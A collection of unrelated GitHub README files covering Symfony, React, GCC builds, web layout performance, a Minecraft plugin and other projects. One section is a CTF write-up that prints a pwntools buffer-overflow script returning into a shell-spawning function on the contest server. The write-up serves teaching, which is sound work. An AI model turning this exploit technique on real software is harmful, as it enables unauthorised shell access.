I will try to add v2 support as soon as v2 has become stable or standard, and I got used to it. Just in case you already are, you are invited to fork your own DatabaseServiceLocator :-)

repository: tomkyle/Databases

repo_name: tomkyle/Databases


text:
# MVC Design with Symfony
This is an example of a Symfony application using MVC design.
The aim is to illustrate the following presentation :

## Install
In order to use the application, follow these simple steps.

``` bash
composer install
php app/console doctrine:database:create
php app/console doctrine:schema:update --force
php app/console doctrine:fixtures:load
php app/console server:run
```

Go to [http://localhost:8000/sprints/3](http://localhost:8000/sprints/3)

repository: romainkuzniak/symfony-mvc

repo_name: romainkuzniak/symfony-mvc


text:
+++
title = "Video Selections"
weight = 2
chapter = true
+++

Welcome to pick up some of video selections to watch. Moreover look forward to your contribution!

1. [The Cooperation Between ShardingSphere and openGauss](/en/videos/opengauss/)

2. [Getting started with Apache ShardingSphere](/en/videos/opensource/)

3. [How to develop ShardingSphere community with Apache way](/en/videos/build/)

4. [Exploring Apache ShardingSphere with the perspective of new SQL](/en/videos/new_sql/)

5. [Apache ShardingSphere architecture evolution driven by open source](/en/videos/evolution/)

6. [How to build database ecosystem with newSQL in a big-data environment](/en/videos/ecosystem/)

7. [New feature of Apache ShardingSphere 5.x](/en/videos/newfeature/)

repository: apache/shardingsphere

gha_language: Java

repo_name: apache/shardingsphere


text:
# react-memory-game

[![standard-readme compliant](https://img.shields.io/badge/standard--readme-OK-green.svg?style=flat-square)](https://github.com/RichardLitt/standard-readme)

> Memory Game demonstrating state management and conditional rendering with React.

This game utlizes React, JavaScript, components from [Reactstrap](http://reactstrap.github.io/). The game begins when a player clicks a card. When a card is clicked upon, the board is shuffled. Every time a player picks card that has not been picked before, tihe player gets a point. If a player picks a card that has been picked before, the score resets to zero.

## Table of Contents

- [Install](#install)
- [Usage](#usage)P
- [Maintainers](#maintainers)
- [Contribute](#contribute)
- [License](#license)

## Install

```
git clone https://github.com/ovieh/React-Memory-Game.git
cd React-Memory-Game
yarn install
yarn start
```

## Screenshot

![Screenshot](/public/memory_screen_capture.png)

## Maintainers

[@Ovieh](https://github.com/Ovieh)

## License

MIT © 2018 Ovieh Mosley

repository: ovieh/React-Memory-Game

repo_name: ovieh/React-Memory-Game


text:
# pwncoffer-overflow-2

## Challenge

"You'll have to jump to a function now!

nc 2020.redpwnc.tf 31908"

You can download the problem files here [coffer-overflow-2](coffer-overflow-2)[coffer-overflow-2.c](coffer-overflow-2.c)

## Process

Coffer-overflow is title that implies a buffer overflow attack. I opened up the .c file and looked for anything interesting.

```
#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}
```

The lines below are important to the buffer overflow. You can obtain shell capabilities if you jump into the function binFunction().

```
  gets(name);
...
void binFunction() {
  system("/bin/sh");
```

I than ran an object dump on the given elf file to find the address of the function binFunction(). You can look at the entire dump here [dump.txt](dump.txt).

```
$ objdump -d coffer-overflow-2 > dump.txt
```

The important part of the dump is the address of binFunction(), which is 0x00000000004006e6

```
00000000004006e6 <binFunction>:
  4006e6:	55                   	push   %rbp
  4006e7:	48 89 e5             	mov    %rsp,%rbp
  4006ea:	48 8d 3d 12 01 00 00 	lea    0x112(%rip),%rdi        # 400803 <_IO_stdin_used+0x83>
  4006f1:	b8 00 00 00 00       	mov    $0x0,%eax
  4006f6:	e8 75 fe ff ff       	callq  400570 <system@plt>
  4006fb:	90                   	nop
  4006fc:	5d                   	pop    %rbp
  4006fd:	c3                   	retq
  4006fe:	66 90                	xchg   %ax,%ax
```

I wrote the following [python script](payloader.py) in order to jump into the function binFunction().

```
from pwn import *
connection = remote('2020.redpwnc.tf', 31908)
# offset is allocated + 8
offset = 16+8
# through objdump -d we found the address of binFunction() as 0x00000000004006e6
# through objdump -d we know this is 64 bit
address = p64(0x00000000004006e6)
#perform the bufferoverflow itself
connection.sendline('a'*offset + address)
#after performing the buffer overflow we still need to cat the flag
connection.interactive()
# flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}
```

After running the script you obtain shell capabilities. The flag can then be found and displayed.

![Capture.JPG](Capture.JPG)

The flag is flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}.

repository: esiddali/CTFs

repo_name: esiddali/CTFs


text:
# Containerize (create-container-image)
Create, tag, and optionally publish a container for a GIT repository.

The container tag has the format:
 - `<name>:<version>`
 - image created from Dockerfile without extension has also tag "latest"

The container name is generated based on the following precedence:

 1. The GIT `<organization>/<repository>` of the 'origin' remote.
 1. The top level GIT directory
 1. The current directory

The container version is generated based on the following precedence:

 1. Drone tag
 1. Drone branch
 1. GIT branch
 1. The string `unknown`

## Requires
 1. A .git directory in CWD or parent path
 1. One or more Dockerfiles in the project at the current working directory.
    1. File names match: `Dockerfile` and `Dockerfile.*`
    1.  Docker installed on the localhost.
 1. [Optional] Tags will prefer a git repository but can work without it.

 ## Registries
 1. Containerize will attempt to publish to the registries listed in a registry file, see [Registry File Precedence](#precedence)
 1. Containerize will attempt to create repositories for some versions of Dockerhub (e.g. HPE's version), and AWS ECR
    1. The Namespace for HPE's Dockerhub is required to exist prior to running this utility

### Registry File Precedence
 1. The `-f <file>` command line option
 1. A user registry file: `<project_dir>/.dev/registry.json`
    1. Be sure to add `.dev/` to the project `.gitignore` file.
 1. A project registry file: `<project_dir>/registry.json`
 1. A program registry file in the docker image for containerize

### Registry File Format
Follow this example showing an unsecure private registry, a secure private registry, a secure aws ec2 registry: [registry.json](./registry.json)`

## Usage

### Options
 - `containerize.sh` : Will build a container image
 - `containerize.sh --publish`: Will build and publish a container image
 - `containerize.sh -q|--quiet` : Will only print the tag `<name>:<version>`

### CLI/bash
 1. Get the containerize image:
    1. Build it from source: `./containerize.sh`
    1. Pull from registry: `docker pull containerize:latest`
 1. `cd <project_dir>`
 1. `docker run --init --rm --workdir="$PWD" -v $HOME/.docker:/root/.docker -v /var/run/docker.sock:/var/run/docker.sock -v "$PWD":"$PWD" -e HTTP_PROXY -e HTTPS_PROXY -e NO_PROXY -e http_proxy -e https_proxy -e no_proxy containerize`

### Drone
```
clone:
  tags: true
build:
  create-container:
    image: picasso/containerize:latest
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    commands:
      - containerize.sh --publish
```

### Issues and Troubleshooting
  1. Docker login not working:
     1. Identification: `WARNING: Error loading config file: .docker/config.json: open .docker/config.json: permission denied`
     1. Cause: If `docker login` has not previously been run then the `$HOME/.docker/config.json` file will not exist.
        Executing this tool will create it but may create it with root ownership.
     1. Solution: `sudo rm -f $HOME/.docker/config.json` and then run docker login again.

repository: HewlettPackard/containerize

gha_language: Shell

repo_name: HewlettPackard/containerize


text:
# Ansible ACME
This integration lets you manage certificate generation on Linux hosts with a CA supporting the ACME protocol, such as Let’s Encrypt.

## Requirements
This integration requires a linux host to be specified from which the connections to the ACME service will be performed, and where the certificate/key files will be stored.

The Linux host used for ACME interaction requires:
* python >= 2.6
* either openssl or cryptography >= 1.5

## Network Requirements
By default, TCP port 22 will be used to initiate a SSH connection to the Linux host.

The connection will be initiated from the XSOAR engine/server specified in the instance settings.
## Credentials
This integration supports a number of methods of authenticating with the Linux Host:
1. Username & Password entered into the integration
2. Username & Password credential from the XSOAR credential manager
3. Username and SSH Key from the XSOAR credential manager

## Permissions
Normal Linux user privileges are required, a SuperUser account is not required.
ACME Account management operations require access to the ACME account RSA or Elliptic Curve key file on the Linux host used for management to authenticate with the ACME service.

## Privilege Escalation
Ansible can use existing privilege escalation systems to allow a user to execute tasks as another. Different from the user that logged into the machine (remote user). This is done using existing privilege escalation tools, which you probably already use or have configured, like sudo, su, or doas. Use the Integration parameters `Escalate Privileges`, `Privilege Escalation Method`, `Privilege Escalation User`, `Privileges Escalation Password` to configure this.

## Testing
This integration does not support testing from the integration management screen. Instead it is recommended to use the `!acme-inspect`command providing an example `host` as the command argument to connect to a ACME provider like Let's Encrypt. Eg. `!acme-inspect host="<IP_ADDRESS>" acme_directory="https://acme-staging-v02.api.letsencrypt.org/directory" acme_version="2" method="directory-only" ` This command will connect to the specified host with the configured credentials in the integration, and if successful output information about the Let's Encrypt ACME directory.

repository: demisto/content

repo_name: demisto/content


text:
# Terraform::NSXT::L4PortSetNsService

This resource provides a way to configure a networking and security service which can be used within NSX. This specific service is for configuration of layer 4 ports.

## Properties

`DisplayName` - (Optional) Display name, defaults to ID if not set.

`Description` - (Optional) Description of this resource.

`DestinationPorts` - (Optional) Set of destination ports.

`SourcePorts` - (Optional) Set of source ports.

`Protocol` - (Required) L4 protocol. Accepted values - 'TCP' or 'UDP'.

`Tag` - (Optional) A list of scope + tag pairs to associate with this service.

## Return Values

### Fn::GetAtt

`Id` - ID of the NS service.

`DefaultService` - The default NSServices are created in the system by default. These NSServices can't be modified/deleted.

`Revision` - Indicates current revision number of the object as seen by NSX-T API server. This attribute can be useful for debugging.

## See Also

* [nsxt_l4_port_set_ns_service](https://www.terraform.io/docs/providers/nsxt/r/l4_port_set_ns_service.html) in the _Terraform Provider Documentation_


text:
# Build

How to build GCC from source.

Tested with: version 5.1.0 on Ubuntu 14.04 in a 2013 computer.

Summary:

    sudo apt-get build-dep gcc
    # Required to compile gnat.
    sudo apt-get install gnat-4.8
    mkdir gcc
    cd gcc
    git clone git://gcc.gnu.org/git/gcc.git src
    cd src
    # No annotated tags... so no describe.
    git checkout gcc-5_1_0-release
    ./contrib/download_prerequisites
    cd ..
    mkdir build
    cd build
    # C and C++ only.
    ../src/configure --enable-languages=c,c++ --prefix="$(pwd)/../install"
    # Add a suffix to the executable names:
    # --program-suffix="-4.7"
    # All languages.
    # ../src/configure --enable-languages=all --prefix="$(pwd)/../install"
    # Wait hours.
    make -j5
    # Wait hours.
    make check
    # Install executables to /usr/local/bin
    # There are also many other installed files under /usr/local.
    sudo make install
    gcc -v
    # sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.9 60 --slave /usr/bin/g++ g++ /usr/bin/g++-4.9

Or install locally for interactive testing:

    make install DESTDIR="$(pwd)/../install"
    cd ../install/usr/local/bin/
    ./gcc -v

Or configure to always install locally:

    ./configure --prefix="$(pwd)/../install"
    # ...
    make install
    cd ../install/usr/local/bin/
    ./gcc -v

If you modify just the `gcc/` directory, you can `cd gcc; make; make install` to touch only that directory.

## Modify, rebuild and rerun

    cat <<'EOS' | git apply -
    diff --git a/gcc/gcc-main.c b/gcc/gcc-main.c
    index 230ba48..01f87ef 100644
    --- a/gcc/gcc-main.c
    +++ b/gcc/gcc-main.c
    @@ -37,9 +37,12 @@ along with GCC; see the file COPYING3.  If not see

     extern int main (int, char **);

    +#include <stdlib.h>
    +
     int
     main (int argc, char **argv)
     {
    +  system("date > /tmp/gcc");
       driver d;

       return d.main (argc, argv);
    EOS

    cd build/gcc
    make -j5
    make -j5 install
    cd ../install/usr/local/bin/
    ./gcc -v
    cat /tmp/gcc

You *cannot* modify the *stdout* output with at `puts("hacked)`, or else the build will fail! This probably happens because `dumpspecs` is used on some part of the bootstrap process.

## Configure

<https://gcc.gnu.org/install/configure.html>

### download_prerequisites

In Ubuntu 14.04, missing dependencies GMP and others did not go away for me even though they were installed with `apt-get build-dep gcc` and `dpkg` says they are present. I needed `download_prerequisites`

<http://stackoverflow.com/questions/9253695/building-gcc-requires-gmp-4-2-mpfr-2-3-1-and-mpc-0-8-0>

Also `configure` does not detect a missing `flex`, but it seems required or else you get a missing `yylex` error: <http://stackoverflow.com/questions/4262531/trouble-building-gcc-4-6>

### Binutils and GCC

Binutils a requirement of GCC. For instance, Linux From Scratch first installs Binutils, then GCC, then recompiles both to bootstrap.

It appears that you can build both GCC and Binutils the same time: <http://stackoverflow.com/questions/1726042/recipe-for-compiling-binutils-gcc-together> This is called a combined build.

A compatibility matrix between GCC and Binutils can be found at: <http://wiki.osdev.org/Cross-Compiler_Successful_Builds>

### glibc and GCC

GCC depends on glibc. TODO does it depend on `stdlibc++`?

Linux From Scratch compiles it twice to bootstrap.

### Three systems

When you build GCC, you have to configure 3 systems:

- build: where GCC will be built
- host: the system that will run GCC
- target: the system that will run the code generated by the compiled GCC

<https://gcc.gnu.org/onlinedocs/gcc-5.1.0/gccint/Configure-Terms.html#Configure-Terms>

### Compilation options

    ../src/configure CFLAGS='-O0 -g' CXXFLAGS='-O0 -g'

The default compilation uses `-O2`, so you might want to reduce that for better debugging in development.

### enable-languages

<https://gcc.gnu.org/install/configure.html>

By default, only some languages are built.

If you want to enable all languages, use:

    --enable-languages=all

### Gnat

### ADA

### gnat1

I am unable to to build and install it! <http://www.linuxfromscratch.org/blfs/view/svn/general/gcc-ada.html>

Apparently you need a super recent built GNAT as circular dependency, and that of Ubuntu 14.04 is not recent enough?

### gccgo

### Go

### go1

I am unable to to build and install it!

<https://golang.org/doc/install/gccgo>

## Build

Making a separate build directory is mandatory.

To build only certain parts of GCC <http://stackoverflow.com/questions/14728652/how-to-make-a-light-build-of-gcc-with-language-supports-etc-pruned>:

    ../src/configure --enable-languages=c,c++

With `make -j5`, this took 1 hour.

See all configuration options with:

    ./configure --help

### bootstrap

### Build stages

By default, the build happens in 3 stages:

1. compile the compiler with the compiler of the `build` computer
2. use the compiled compiler to compile itself
3. repeat 2. and compare 2 and 3. Should be the same.

Configure the build to disable bootstrap and compile only once:

    ../src/configure --disable-bootstrap

TODO does it work without? Is bootstrap really necessary? How can stage 3 ever be different from stage 2?

## Tests

## check

- <https://gcc.gnu.org/install/test.html>
- <https://gcc.gnu.org/onlinedocs/gccint/C-Tests.html>

Requires:

    sudo apt-get install autogen runtest

Run all tests:

    make -k check

Run only certain tests:

    make -k check-gcc-c
    make -k check-gcc

Restrict to tests under a single directory `gcc/testsuite/gcc.dg`:

    make check-gcc RUNTESTFLAGS='dg.exp'

where `dg.exp` is a test script in that directory.

Run a single test:

    make check-gcc RUNTESTFLAGS='dg.exp=cast-1.c'

Where `cast-1.c` refers to `gcc/testsuite/gcc.dg/cast-1.c`

Run tests matching glob:

    make check-gcc RUNTESTFLAGS='dg.exp=cast-*.c'

Test output is very noisy, and does not return non zero on failure.

You should look for a line of type:

            === gcc Summary ===

    # of expected passes        16
    # of unexpected failures    2

for failures, or read the `.sum` file under `build/gcc/testsuite/gcc`.

Known failures exist in all versions, and are summarized at: <https://gcc.gnu.org/gcc-5/buildstat.html>

Executables are compiled under: `build/gcc/testsuite/gcc`. That also contains:

- a `.log` file with detailed test information
- a `.sum` file with summary pass / fail information

Tests are run with `runtest`, which uses `expect`:

- `runtest` is part of DejaGnu. Thus the `.dg` directories.
- `.exp` files are expect scripts

## Install

By default, generated files will be put under:

- `/usr/local/bin`: for front-end executables like `gcc`, `ld`
- `/usr/local/lib64`: for libraries like `libstdc++`
- `/usr/local/libexec/gcc/x86_64-unknown-linux-gnu/5.1.0`: for backend executables like `cc1` and `collect2`

GCC knows how to find the correct internal executables like `cc1` even if they are not in your path. Configure path information must be hard-coded into it.

## Run what you've built

TODO what is the required glibc for each GCC?

C programs seemed to run directly:

    gcc hello_world.c
    ./hello_world

On Ubuntu 14.04, GCC 5.1, C++ programs needed `$LD_LIBRARY_PATH` to find the standard library `libstdc++.so` as it is not on the path by default:

    LD_LIBRARY_PATH="/usr/local/lib64:$LD_LIBRARY_PATH" ./cpp

## Uninstall

There is not top-level uninstall target that removes everything, but some subtrees do have the target.

- <http://stackoverflow.com/questions/25303928/how-to-uninstall-gcc-installed-from-source>

Remove installations from the `gcc/` tree:

    cd gcc
    sudo make uninstall

## Documentation

    make

builds `man` and `info` documentation by default:

    cd gcc/doc
    man ./gcc.1

Those are generated from the `.texi` inputs.

For the HTML docs, use:

    make html

    firefox/gcc/HTML/gcc-4.8.2/gcc/index.html

The website is not included in the source code, but on a separate repo:

    cvs -q -d :pserver:cvs@gcc.gnu.org:/cvs/gcc checkout -P wwwdocs

repository: liujiamingustc/phd

repo_name: liujiamingustc/phd


text:
---
layout: default
title: HandMenuAction
description: This enum specifies how HandMenuItems should behave when selected! This is in addition to the HandMenuItem's callback function.
---
# HandMenuAction

This enum specifies how HandMenuItems should behave
when selected! This is in addition to the HandMenuItem's
callback function.

## Static Fields and Properties

|  |  |
|--|--|
|[HandMenuAction]({{site.url}}/Pages/Reference/HandMenuAction.html) [Back]({{site.url}}/Pages/Reference/HandMenuAction/Back.html)|Go back to the previous layer.|
|[HandMenuAction]({{site.url}}/Pages/Reference/HandMenuAction.html) [Close]({{site.url}}/Pages/Reference/HandMenuAction/Close.html)|Close the hand menu entirely! We're finished here.|
|[HandMenuAction]({{site.url}}/Pages/Reference/HandMenuAction.html) [Layer]({{site.url}}/Pages/Reference/HandMenuAction/Layer.html)|Move to another menu layer.|

repository: jjhartmann/StereoKit

repo_name: jjhartmann/StereoKit


text:
project_path: /web/fundamentals/_project.yaml
book_path: /web/fundamentals/_book.yaml
description: Layout is where the browser figures out the geometric information for elements: their size and location in the page. Each element will have explicit or implicit sizing information based on the CSS that was used, the contents of the element, or a parent element. The process is called Layout in Chrome.

# Avoid Large, Complex Layouts and Layout Thrashing {: .page-title }

{# wf_updated_on: 2015-03-20 #}
{# wf_published_on: 2015-03-20 #}

{% include "web/_shared/contributors/paullewis.html" %}

Layout is where the browser figures out the geometric information for
elements: their size and location in the page. Each element will have
explicit or implicit sizing information based on the CSS that was used, the
contents of the element, or a parent element. The process is called Layout
in Chrome, Opera, Safari, and Internet Explorer. In Firefox it’s called
Reflow, but effectively the process is the same.

Similarly to style calculations, the immediate concerns for layout cost are:

1. The number of elements that require layout.
2. The complexity of those layouts.

### TL;DR {: .hide-from-toc }

* Layout is normally scoped to the whole document.
* The number of DOM elements will affect performance; you should avoid triggering layout wherever possible.
* Assess layout model performance; new Flexbox is typically faster than older Flexbox or float-based layout models.
* Avoid forced synchronous layouts and layout thrashing; read style values then make style changes.

## Avoid layout wherever possible

When you change styles the browser checks to see if any of the changes require layout to be calculated, and for that render tree to be updated. Changes to “geometric properties”, such as widths, heights, left, or top all require layout.

    .box {
      width: 20px;
      height: 20px;
    }

    /**
     * Changing width and height
     * triggers layout.
     */
    .box--expanded {
      width: 200px;
      height: 350px;
    }

**Layout is almost always scoped to the entire document.** If you have a lot of elements, it’s going to take a long time to figure out the locations and dimensions of them all.

If it’s not possible to avoid layout then the key is to once again use Chrome DevTools to see how long it’s taking, and determine if layout is the cause of a bottleneck. Firstly, open DevTools, go to the Timeline tab, hit record and interact with your site. When you stop recording you’ll see a breakdown of how your site performed:

When digging into the frame in the above example, we see that over 20ms is spent inside layout, which, when we have 16ms to get a frame on screen in an animation, is far too high. You can also see that DevTools will tell you the tree size (1,618 elements in this case), and how many nodes were in need of layout.

Note: Want a definitive list of which CSS properties trigger layout, paint, or composite? Check out [CSS Triggers](https://csstriggers.com).

## Use flexbox over older layout models

The web has a range of layout models, some being more widely supported than others. The oldest CSS layout model  allows us to position elements on screen relatively, absolutely, and by floating elements.

The screenshot below shows the layout cost when using floats on 1,300 boxes. It is, admittedly, a contrived example, because most applications will use a variety of means to position elements.

If we update the sample to use Flexbox, a more recent addition to the web platform, we get a different picture:

Now we spend far less time (3.5ms vs 14ms in this case) in layout for the _same number of elements_ and the same visual appearance. It’s important to remember that for some contexts you may not be able to choose Flexbox, since it’s [less widely supported than floats](http://caniuse.com/#search=flexbox), but where you can you should at least investigate the layout model’s impact on your performance, and go with the one that minimizes the cost of performing it.

In any case, whether you choose Flexbox or not, you should still **try and avoid triggering layout altogether** during high pressure points of your application!

## Avoid forced synchronous layouts

Shipping a frame to screen has this order:

First the JavaScript runs, _then_ style calculations, _then_ layout. It is, however, possible to force a browser to perform layout earlier with JavaScript. It is called a **forced synchronous layout**.

The first thing to keep in mind is that as the JavaScript runs all the old layout values from the previous frame are known and available for you to query. So if, for example, you want to write out the height of an element (let’s call it “box”) at the start of the frame you may write some code like this:

    // Schedule our function to run at the start of the frame.
    requestAnimationFrame(logBoxHeight);

    function logBoxHeight() {
      // Gets the height of the box in pixels and logs it out.
      console.log(box.offsetHeight);
    }

Things get problematic if you’ve changed the styles of the box _before_ you ask for its height:

    function logBoxHeight() {

      box.classList.add('super-big');

      // Gets the height of the box in pixels
      // and logs it out.
      console.log(box.offsetHeight);
    }

Now, in order to answer the height question, the browser must _first_ apply the style change (because of adding the `super-big` class), and _then_ run layout. Only then will it be able to return the correct height. This is unnecessary and potentially expensive work.

Because of this you should always batch your style reads and do them first (where the browser can use the previous frame’s layout values) and then do any writes:

Done correctly the above function would be:

    function logBoxHeight() {
      // Gets the height of the box in pixels
      // and logs it out.
      console.log(box.offsetHeight);

      box.classList.add('super-big');
    }

For the most part you shouldn’t need to apply styles and then query values; using the last frame’s values should be sufficient. Running the style calculations and layout synchronously and earlier than the browser would like are potential bottlenecks, and not something you will typically want to do.

## Avoid layout thrashing
There’s a way to make forced synchronous layouts even worse: _do lots of them in quick succession_. Take a look at this code:

    function resizeAllParagraphsToMatchBlockWidth() {

      // Puts the browser into a read-write-read-write cycle.
      for (var i = 0; i < paragraphs.length; i++) {
        paragraphs[i].style.width = box.offsetWidth + 'px';
      }
    }

This code loops over a group of paragraphs and sets each paragraph’s width to match the width of an element called “box”. It looks harmless enough, but the problem is that each iteration of the loop reads a style value (`box.offsetWidth`) and then immediately uses it to update the width of a paragraph (`paragraphs[i].style.width`). On the next iteration of the loop, the browser has to account for the fact that styles have changed since `offsetWidth` was last requested (in the previous iteration), and so it must apply the style changes, and run layout. This will happen on _every single iteration!_.

The fix for this sample is to once again _read_ then _write_ values:

    // Read.
    var width = box.offsetWidth;

    function resizeAllParagraphsToMatchBlockWidth() {
      for (var i = 0; i < paragraphs.length; i++) {
        // Now write.
        paragraphs[i].style.width = width + 'px';
      }
    }

If you want to guarantee safety you should check out [FastDOM](https://github.com/wilsonpage/fastdom), which automatically batches your reads and writes for you, and should prevent you from triggering forced synchronous layouts or layout thrashing accidentally.

repository: shanselman/WebFundamentals

repo_name: shanselman/WebFundamentals


text:
# PlayerSlap
## Description:
This plugin gives server administrators the ability to 'slap' players as a form of punishment. The action of 'slapping' can involve removing health, spawning mobs, hitting the player with lightning, producing smoke and broadcasting a message. Different types of slaps can be defined in the config file.

## Versions:
This project is currently in stable version <IP_ADDRESS>. It is designed for Minecraft Spigot versions between 1.7.6 and 1.14.0. The latest version can be found in the 'releases' section, and the most recent (possibly unstable) build can be found in the 'Jar' folder (currently version <IP_ADDRESS>).

## License:
This plugin and its source code are released under a MIT license (see the LICENSE file for full details). This plugin is copyright (c) aappleton3/aappleton8, 2018 - 2019.

## Build:
This plugin is built using Eclipse. To build the plugin, the .classpath file firstly needs to be recreated using Eclipse, and the craftbukkit-1.12.2.jar file (or another appropriate version) needs to be added as an external build dependency.

## Commands:
This plugin has the following commands:
 - */slap [<player>] [<type>] [<worth>]* - Slap a player
 - */slapall [<type>] [<worth>]* - Slap every player except those who are protected
 - */forceslap <player> [<type>] [<worth>]* - Slap a player, even if it has the *playerslap.noslap* permission
 - */slapaccept [<player>]* - Accept the slap
 - */slaprelease <player>* - Release the player from a permanent slap
 - */slapinfo slaplist|{slap <type>}|{slapmessages <type>}|{slapmobs <type>}|{player <player>}|{times <player>}|general* - Get information about the available slaps, a specific slap, messages sent by a specific slap, mobs spawned by a specific slap, a player, the amount of times a player has been slapped or general configuration settings.
 - */playerslap [{help [{config|general} [<page>]]}|version* - The basic playerslap command that gives plugin help and the plugin version
 - */slapconfigure {config save|reload|{set <property> <value>}}|{slap {set <type> <property> [<sub-property>] <value>}|{new <type>}|{remove <type>}}|{player {set <player> <property> <value> [<modifier>]}|{remove <player>}}* - The main playerslap command that gives the ability to set configuration and player properties.

## Permissions:
All permissions default to being ops only.
 - playerslap.* - The root permission for this plugin
 - playerslap.slap.all - Slap every players
 - playerslap.slap.others - Slap other players
 - playerslap.slap - Slap oneself
 - playerslap.accept.others - Accept a slap on behalf of another player
 - playerslap.accept - Accept a slap
 - playerslap.release - Release a player from a permanent slap
 - playerslap.force - Use the */forceslap* command
 - playerslap.noslap.protect - Prevent this player from being slapped and slap the slapping player
 - playerslap.noslap - Prevent this player from being slapped
 - playerslap.see.* - See all plugin messages
 - playerslap.see.slap - See player slap messages
 - playerslap.see.noslap - Let a player see whan a player tried to slap a player with the *playerslap.noslap* command
 - playerslap.see.accept - Let a player see when another player accepts a slap
 - playerslap.see.release - Let a player see when another player has been released from a permanent slap
 - playerslap.see.config - Let a player see config save, set and reload messages
 - playerslap.unslap.* - Quietly unslap a player
 - playerslap.unslap.mustaccept.decrement - Quietly remove a player's need to accept a slap whilst decrementing its slap times counter by 1 (also gives playerslap.unslap.mustaccept)
 - playerslap.unslap.mustaccept - Quietly remove a player's need to accept a slap whithout decrementing its slap times counter
 - playerslap.unslap.ispermanent.decrement - Quietly release a player from a permanent slap whilst decrementing its slap times counter by 1 (also gives playerslap.unslap.ispermanent)
 - playerslap.unslap.ispermanent - Quietly release a player from a permanent slap whithout decrementing its slap times counter
 - playerslap.config.* - Let a player use all config commands
 - playerslap.config.save - Let a player save the config
 - playerslap.config.reload - Let a player reload the config
 - playerslap.config.newslap - Let a player create a new slap type
 - playerslap.config.removeslap - Let a player remove a slap type
 - playerslap.config.removeplayer - Let a player remove another player's information
 - playerslap.config.setconfig.* - Let a player set basic config file options
 - playerslap.config.setconfig.slapself - Let a player determine whether players can slap themselves or not
 - playerslap.config.setconfig.slapdefault - Let a player determine the default slap
 - playerslap.config.setconfig.incrementonslapall - Let a player determine whether a player's slap count is incremented when the */slapall* command is used
 - playerslap.config.setslap.* - Let a player set basic config file options
 - playerslap.config.setslap.health - Let a player set the amount of health a slap removes
 - playerslap.config.setslap.worth - Let a player set the worth of a slap
 - playerslap.config.setslap.mustaccept - Let a player choose whether a slap requires a player to accept it or not
 - playerslap.config.setslap.permanent - Let a player choose whether a slap is permanent or not
 - playerslap.config.setslap.lightning - Let a player set whether a slap produces lightning or not
 - playerslap.config.setslap.smoke - Let a player set the radius of smoke produced by a slap
 - playerslap.config.setslap.mob - Let a player set what mobs a slap produces
 - playerslap.config.setplayer.* - Let a player set basic player properties (also gives playerslap.unslap.*)
 - playerslap.config.setplayer.times - Let a player set the amount of times a player has been slapped (also gives playerslap.config.setplayer.times.reset)
 - playerslap.config.setplayer.times.reset - Let a player set the amount of times a player has been slapped back to 0
 - playerslap.config.setplayer.exempt - Let a player set whether another player is exempt from being slapped or not
 - playerslap.info.* - Let a player get information about slap types, players and general config information
 - playerslap.info.slap - Let a player get information about a slap type
 - playerslap.info.slapmessages - Let a player get the messages produced by a slap
 - playerslap.info.slapmohs - Let a player get the mobs spawned by a slap
 - playerslap.info.slaplist - Let a player list the available slap types
 - playerslap.info.player - Let a player get information about a player
 - playerslap.info.general - Let a player get general config file settings
 - playerslap.type.* - Let a player use all slap types
 - playerslap.type.defaultworth.* - Let a player use all slap types with their specified worths
 - playerslap.type.defaultworth.<slap> - Let a player use the specified slap with its default worth
 - playerslap.type.noworth.* - Let a player use all slap types with no worth
 - playerslap.type.noworth.<slap> - Let a player use the specified slap type with no worth
 - playerslap.type.anyworth.* - Let a player use all slap type with any worth
 - playerslap.type.anyworth.<slap> - Let a player use the specified slap type with any worth

## Configuration Files:
### General Information:
This plugin uses the following config files:
 - config.yml
 - players.yml

 The 'config.yml' file contains basic plugin settings as well as all the defined slap types. The 'players.yml' file contains data stored about each player, such as how many times the player has been slapped and the player's current slapped state.

### The 'config.yml' File:
An example 'config.yml' file is given below:

```YAML
slapself: true
slapdefault: '1'
incrementonslapall: true
messages:
  accept: __Default
  releasebroadcast: __Default
  releasepersonal: __Default
  noreleasepersonal: _
  noreleasesender: __Default
slaptypes:
  '1':
    health: 3
    worth: 1
    followup:
      mustaccept: true
      permanent: false
    lightning: true
    smoke: 30
    messages:
      slapbroadcast: __Giver slapped __Slapped.
      slappersonal: __Giver slapped you.
      death: __Default
    mobs:
      ZOMBIE: 5
      SKELETON: 1
  '2':
    health: 5
    worth: 3
    followup:
      mustaccept: false
      permanent: false
    lightning: true
    smoke: 50
    messages:
      broadcast: __Default
      personal: __Default
      death: __Default
    mobs:
      BLAZE: 10
      GIANT: 1
      VILLAGER: 100
```

The string values of subfields of each configuration section called 'messages' can contain some of the following words which will be substituted for another value when the message is sent:
- \_\_Default gets substituted for the default message.
- \_\_Unknown gets substituted for 'unknown'
- \_\_None get substituted for nothing
- \_\_Slapped gets substituted for the name of the person who has been slapped
- \_\_Giver gets substituted for the name of the person who gave the slap or the name of the person trying to remove a permanent slap (as appropriate)
- \_\_Type becomes the slap type
- \_\_Permanent becomes 'permanent' if the slap is permanent and nothing otherwise
The following restrictions apply to using the substitutions defined in the above list:
- The 'accept' message cannot substitute \_\_Type
- The 'releasebroadcast' message cannot substitute \_\_Type
- The 'releasepersonal' message cannot substitute \_\_Type
- The 'noreleasepersonal' message cannot substitute \_\_Type
- The 'noreleasesender' message cannot substitute \_\_Type
- The 'slapbroadcast' message has no restrictions
- The 'slappersonal' message has no restrictions
- The 'death' message has no restrictions

The below list explains the top-level fields and the fields immediately inside the top-level 'messages' section in the above example 'config.yml' file:
- The 'slapself' field is a boolean that determines whether a player can slap itself or not.
- The 'slapdefault' field contain the id of the default slap type.
- The 'incrementonslapall' field is a boolean that determines whether a player's slap counter should be incremented on a slap as a result of the '/slapall' command.
- The 'accept' message is the message broadcast when a player accepts a slap.
- The 'releasebroadcast' message is the message broadcast when a player is released from a slap.
- The 'releasepersonal' message is the message sent to a player when the player is released from a slap.
- The 'noreleasepersonal' message is the message sent to a player when it tries to accept a slap from which it has not been released.
- The 'noreleasesender' message is the message sent to a player who tries to accept a slap for a player but cannot as it is a permanent slap from which the player has not been released.
